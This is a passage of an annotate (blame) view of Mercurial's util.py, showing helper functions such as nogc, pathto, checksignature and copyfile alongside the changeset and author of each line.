19845 a1237a4b437d repoview: make propertycache.setcache compatible with repoview Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 19461 diff changeset	1711 obj.__dict__[self.name] = value
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1712
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1713
35053 be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1714 def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1715 '''clear a cached property value, if one has been set'''
40728 475921a3028c py3: cast attribute name to sysstr in clearcachedproperty() Yuya Nishihara <yuya@tcha.org> parents: 40251 diff changeset	1716 prop = pycompat.sysstr(prop)
35053 be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1717 if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1718 del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty Mark Thomas <mbthomas@fb.com> parents: 34647 diff changeset	1719
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1720
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1721 def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1722 '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1723 doubling min after each chunk until it reaches max'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1724
7396 526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1725 def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1726 if not x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1727 return 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1728 i = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1729 while x:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1730 x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1731 i += 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1732 return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1733
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1734 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1735 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1736 for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1737 buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1738 blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1739 if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1740 if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1741 min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1742 nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1743 if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1744 min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1745 if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1746 min = max
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1747 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1748 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1749 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1750 if buf:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1751 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1752
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1753
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1754 def always(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1755 return True
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1756
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1757
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1758 def never(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1759 return False
724 1c0c413cccdd Get add and locate to use new repo and dirstate walk code. Bryan O'Sullivan <bos@serpentine.com> parents: 705 diff changeset	1760
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1761
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1762 def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1763 """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1764
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1765 Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1766 container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1767 allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1768 no effect on when GCs are triggered, only on what objects the GC looks
23543 4dd8a6a1240d spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23495 diff changeset	1769 into. As a workaround, disable GC while building complex (huge)
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1770 containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1771
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1772 This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1773 CPython's performance.
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1774 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1775
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1776 def wrapper(args, *kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1777 gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1778 gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1779 try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1780 return func(args, *kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1781 finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1782 if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1783 gc.enable()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1784
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1785 return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1786
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1787
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1788 if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1789 # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1790 nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1791
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1792
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1793 def pathto(root, n1, n2):
886 509de8ab6f31 Fix walk path handling on Windows Bryan O'Sullivan <bos@serpentine.com> parents: 884 diff changeset	1794 '''return the relative path from one place to another.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1795 root should use os.sep to separate directories
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1796 n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1797 n2 should use "/" to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1798 returns an os.sep-separated path.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1799
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1800 If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1801 relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1802 n2 should always be relative to root.
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1803 '''
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1804 if not n1:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1805 return localpath(n2)
4230 c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1806 if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1807 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1808 return os.path.join(root, localpath(n2))
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1809 n2 = '/'.join((pconvert(root), n2))
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1810 a, b = splitpath(n1), n2.split('/')
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1811 a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1812 b.reverse()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1813 while a and b and a[-1] == b[-1]:
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1814 a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1815 b.pop()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1816 b.reverse()
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	1817 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1818
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1819
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1820 # the location of data files matching the source code
37121 5be286db5fb5 procutil: move process/executable management functions to new module Yuya Nishihara <yuya@tcha.org> parents: 37120 diff changeset	1821 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1822 # executable version (py2exe) doesn't support __file__
30672 10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable Pulkit Goyal <7895pulkit@gmail.com> parents: 30647 diff changeset	1823 datapath = os.path.dirname(pycompat.sysexecutable)
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1824 else:
31091 2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes Pulkit Goyal <7895pulkit@gmail.com> parents: 31008 diff changeset	1825 datapath = os.path.dirname(pycompat.fsencode(__file__))
30314 8321b083a83d py3: make util.datapath a bytes variable Pulkit Goyal <7895pulkit@gmail.com> parents: 30279 diff changeset	1826
22638 0d0350cfc7ab i18n: use datapath for i18n like for templates and help Mads Kiilerich <madski@unity3d.com> parents: 22633 diff changeset	1827 i18n.setdatapath(datapath)
0d0350cfc7ab i18n: use datapath for i18n like for templates and help Mads Kiilerich <madski@unity3d.com> parents: 22633 diff changeset	1828
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1829
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1830 def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1831 '''wrap a function with code to check for calling errors'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1832
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1833 def check(args, *kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1834 try:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1835 return func(args, *kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1836 except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1837 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646 e62a456b8dc5 error: move SignatureError Matt Mackall <mpm@selenic.com> parents: 7644 diff changeset	1838 raise error.SignatureError
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1839 raise
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1840
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1841 return check
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1842
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1843
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1844 # a whilelist of known filesystems where hardlink works reliably
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1845 _hardlinkfswhitelist = {
37382 de9f9f888900 util: whitelist apfs for hardlink support Augie Fackler <augie@google.com> parents: 37366 diff changeset	1846 'apfs',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1847 'btrfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1848 'ext2',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1849 'ext3',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1850 'ext4',
31603 32f09ead059b util: enable hardlink for some BSD-family filesystems Jun Wu <quark@fb.com> parents: 31599 diff changeset	1851 'hfs',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1852 'jfs',
35515 d8f408d999f9 util: whitelist NTFS for hardlink creation (issue4580) Matt Harbison <matt_harbison@yahoo.com> parents: 35513 diff changeset	1853 'NTFS',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1854 'reiserfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1855 'tmpfs',
31603 32f09ead059b util: enable hardlink for some BSD-family filesystems Jun Wu <quark@fb.com> parents: 31599 diff changeset	1856 'ufs',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1857 'xfs',
31603 32f09ead059b util: enable hardlink for some BSD-family filesystems Jun Wu <quark@fb.com> parents: 31599 diff changeset	1858 'zfs',
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1859 }
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1860
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1861
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1862 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1863 '''copy a file, preserving mode and optionally other stat info like
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1864 atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1865
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1866 checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1867 destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1868 repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1869
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1870 copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1871 '''
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1872 assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1873 oldstat = None
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1874 if os.path.lexists(dest):
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1875 if checkambig:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1876 oldstat = checkambig and filestat.frompath(dest)
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1877 unlink(dest)
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1878 if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1879 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1880 # unless we are confident that dest is on a whitelisted filesystem.
31683 1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1881 try:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1882 fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1883 except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1884 fstype = None
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1885 if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1886 hardlink = False
31583 e7a02e9ad162 util: enable hardlink for copyfile Jun Wu <quark@fb.com> parents: 31581 diff changeset	1887 if hardlink:
23899 4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1888 try:
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1889 oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1890 return
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1891 except (IOError, OSError):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1892 pass # fall back to normal copy
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1893 if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1894 os.symlink(os.readlink(src), dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1895 # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1896 # for them anyway
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1897 else:
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1898 try:
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1899 shutil.copyfile(src, dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1900 if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1901 # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1902 shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1903 else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1904 shutil.copymode(src, dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1905 if oldstat and oldstat.stat:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1906 newstat = filestat.frompath(dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1907 if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1908 # stat of copied file is ambiguous to original one
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	1909 advanced = (
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1910 oldstat.stat[stat.ST_MTIME] + 1
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1911 ) & 0x7FFFFFFF
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1912 os.utime(dest, (advanced, advanced))
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	1913 except shutil.Error as inst:
